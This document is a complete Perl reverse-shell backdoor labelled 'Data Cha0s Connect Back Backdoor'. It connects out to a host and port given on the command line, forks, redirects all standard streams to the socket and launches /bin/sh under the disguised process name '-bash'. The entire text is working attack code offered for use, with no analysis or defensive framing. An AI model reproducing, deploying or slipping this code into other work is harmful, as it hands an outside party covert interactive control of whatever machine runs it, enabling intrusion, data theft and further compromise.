use Socket;

print "Data Cha0s Connect Back Backdoor\n\n";

if (!$ARGV[0]) {
  printf "Usage: $0 [Host] <Port>\n";
  exit(1);
}

print "[*] Dumping Arguments\n";

$host = $ARGV[0];
$port = 80;

if ($ARGV[1]) {
  $port = $ARGV[1];
}

print "[*] Connecting...\n";

$proto = getprotobyname('tcp') || die("[-] Unknown Protocol\n");

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Error\n");

my $target = inet_aton($host);

if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  die("[-] Unable to Connect\n");
}

print "[*] Spawning Shell\n";

if (!fork( )) {
  open(STDIN,">&SERVER");
  open(STDOUT,">&SERVER");
  open(STDERR,">&SERVER");

  exec {'/bin/sh'} '-bash' . "\0" x 4;
  exit(0);
}

print "[*] Detached\n\n";